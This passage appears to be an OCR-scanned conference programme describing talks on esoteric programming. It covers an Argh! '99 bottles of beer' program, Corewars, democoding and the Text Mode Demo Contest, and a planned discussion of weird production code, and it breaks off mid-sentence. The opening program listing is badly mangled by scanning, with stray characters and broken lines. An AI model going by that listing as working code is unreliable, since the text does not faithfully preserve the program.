* el24j 211DsJ DD No more bottles of beer on the wall.* 3
jhhDfdFdRAhRDh g S HDh J fppppprrrrrrrrrrrrrrrprprpPPh
J 0O 1111111111170 j !reeb erom yub ot emiT
1s11Ssrfsrfll111111srfSj kphhhhph 1Pqg
30 KA KA 2. H 0D k
1D11111Rx1A1111fsj11Rx1D1FRxk1Fk
k 1fsrfj 0jk 1lfsrfjlak The classic
k 21 j3Shhk 21 3 0 99 bottles of beer
khhShhAh1111khhhShhAh in Argh!
g h 1 1sK
1DSd111111f1SJh hJd* wilde@sha-bang.de
JfrsppppprprpPrPPPPPPPPPrPrrrrrrrrrprpph
3 *,llaw eht no reeb fo selttob
1P11111111111111111111DS1111111ssK
JSfdbh fJo
JdrsppppPPPPrrPPPPrrprrrrrprpph
jfhhhh *,...reeeeeb fo selttob
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j Take one down, pass it around,
1PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPf]
s/ 3
1KhhhhhSSDPh
1DfS1111K /
jEffdrspppppprrrrrrrrrrrrrrrrrrrprrpph
Jj *.1llaw eht no reeb fo selttob
1PPIDS111111111111111111111111111ssK
£J

Corewars

In core wars, we have a bunch of programmes running in parallel in the same memory. (This is a
typical Von-Neumann machine with multitasking, but without memory protection.) The goal is to
create a program that survives as long as possible, but at the same time quickly erases the other
programs from memory. Another objective may be to own as much memory as possible for as long
as possible.

The Corewar programmer is typically constrained by a simple, non-mighty assembly language, a
source file limit and the fact that he has only a few CPU cycles before he's overridden by his
enemies.

(The congress speech will contain a life demonstration.)

Democoding

Demo coders try to exploit a given, limited (and often legacy) hardware through the use of crafty
software, and thus create unexpected effects and surprising results. They try and often manage to

achieve amazing sound effects and mind-blowing graphics in an extremely small executable size.
Often, those demos run on ancient or otherwhise limited hardware, and other restrictions may be

imposed by the contest holders.

On so-called demo partys, those programs are presented, and sometimes even some high valued
prices are put up. The winners are e. G. 3D first person shooters in 64k and video clips with sound
in 4k.

A rather interesting restriction is placed by the Text Mode Demo Contest which was just ran in its
7™ incarnation. They limit the demo programmers to the VGA text mode. The surprising results are
shown in the screenshots below. As DosBox 0.63 is one of the supported platforms, the speaker
intends to give a life demo of the winning entries during the lesson.

b _
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Strange Production Code

Most of the readers will remember stuations where they stumbled over weird code written by others.
Currently, FeFe plans to hold a round table following the Idea of the german TV show
“Literarisches Quartett” that discusses some of those examples. While they focus on “bad” code,
whatever that means, this speech will try to focus on “weird” code, whatever th